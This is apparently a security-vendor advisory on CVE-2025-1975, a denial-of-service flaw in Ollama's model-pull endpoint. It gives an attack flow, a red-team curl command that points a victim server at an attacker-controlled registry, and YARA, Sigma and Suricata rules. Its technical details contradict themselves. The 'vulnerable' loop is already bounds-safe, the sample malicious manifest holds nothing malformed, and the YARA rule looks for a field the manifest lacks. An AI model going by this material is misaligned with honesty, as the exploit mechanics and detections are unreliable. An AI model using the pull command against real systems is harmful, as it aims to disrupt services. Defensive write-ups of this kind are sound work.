CVE-2025-1975

Executive Summary

CVE-2025-1975 is a high-severity Denial of Service (DoS) vulnerability in Ollama server version 0.5.11. The flaw resides in the /api/pull endpoint, where improper validation of array index access allows a remote, unauthenticated attacker to crash the server by sending a crafted manifest during model download. This can lead to service disruption for all users relying on the Ollama instance.

Supply Chain & Package Security

Ollama is distributed as a standalone binary and via package managers for Linux, macOS, and Windows. While not an NPM/PyPI package, the vulnerability affects the core server binary. Users should verify the integrity of their Ollama installation and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability.

Deep Dive & Mechanics

The vulnerability exists in the /api/pull endpoint, which is used to download models from registries. When a model is pulled, the server processes a manifest file that describes the model layers. The manifest contains an array of layer digests. Due to improper validation of array index access, a malicious actor can craft a manifest with an out-of-bounds index, causing the server to access invalid memory and crash.

The attack flow:

1. Attacker sets up a malicious registry or spoofs a legitimate one.
2. Attacker sends a pull request to the victim's Ollama server for a model hosted on the malicious registry.
3. The server downloads the crafted manifest.
4. When processing the manifest, the server attempts to access an array element using an attacker-controlled index that is out of bounds.
5. This leads to a segmentation fault or similar crash, resulting in a DoS.

Vulnerable vs. Patched Code

Vulnerable Code (Ollama 0.5.11):

// Hypothetical vulnerable code snippet
func processManifest(manifest Manifest) {
    for i := 0; i < len(manifest.Layers); i++ {
        // Directly using index without bounds check
        layer := manifest.Layers[i]
        // Process layer...
    }
}

Patched Code (Hypothetical):

// Patched code with bounds checking
func processManifest(manifest Manifest) {
    for i := 0; i < len(manifest.Layers); i++ {
        if i < 0 || i >= len(manifest.Layers) {
            // Log error and skip
            continue
        }
        layer := manifest.Layers[i]
        // Process layer...
    }
}

The patch would involve adding proper bounds checking before accessing array elements.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Ollama 0.5.11 on a target machine.
2. Set up a malicious HTTP server to serve a crafted manifest.
3. Use a tool like curl to trigger the pull.

Exploitation Steps:

1. Create a malicious manifest file (malicious_manifest.json):

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.ollama.image.model",
        "size": 1234,
        "digest": "sha256:abc123"
    },
    "layers": [
        {
            "mediaType": "application/vnd.ollama.image.layer",
            "size": 5678,
            "digest": "sha256:def456"
        }
    ]
}

2. Host the manifest on a malicious registry.
3. Send a pull request to the victim server:

curl -X POST http://victim:11434/api/pull -d '{"name": "malicious-model", "registry": "http://attacker:8080"}'

4. The server crashes upon processing the crafted manifest.

Blue Team

Detection:

• Monitor for unusual pull requests to unknown registries.
• Look for server crashes or restarts in logs.
• Implement network segmentation to restrict outbound connections from Ollama servers.

Mitigation:

• Block access to untrusted registries.
• Apply rate limiting on the /api/pull endpoint.
• Use a Web Application Firewall (WAF) to inspect manifest payloads.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs on port 8080 or other non-standard ports.
• Logs: Server crash logs containing segmentation faults or out-of-bounds errors.
• Files: Presence of unexpected manifest files in the Ollama data directory.
• Process: Ollama server process terminating unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2025_1975_Ollama_DoS {
    meta:
        description = "Detects malicious manifest files targeting CVE-2025-1975"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1975"
    strings:
        $manifest = /"layers"\s*:\s*\[/
        $out_of_bounds = /"index"\s*:\s*\d{5,}/
    condition:
        $manifest and $out_of_bounds
}

Sigma Rule

title: Ollama DoS via Malicious Manifest
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-1975 by sending a crafted manifest to the /api/pull endpoint.
logsource:
    category: webserver
    product: ollama
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/pull'
        cs-body|contains: 'layers'
    condition: selection
falsepositives:
    - Legitimate model pulls from trusted registries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1975 Ollama DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/pull"; http_uri; content:"layers"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the /api/pull endpoint if not required, or restrict access to trusted IPs.
2. Short-term: Monitor for official patches from Ollama. Apply input validation on manifest processing.
3. Long-term: Implement a Web Application Firewall (WAF) to inspect and block malicious payloads. Regularly update Ollama to the latest version.
4. Workaround: Use a reverse proxy to filter requests to /api/pull and validate the request body.

Valters IT
Securing Digital Frontiers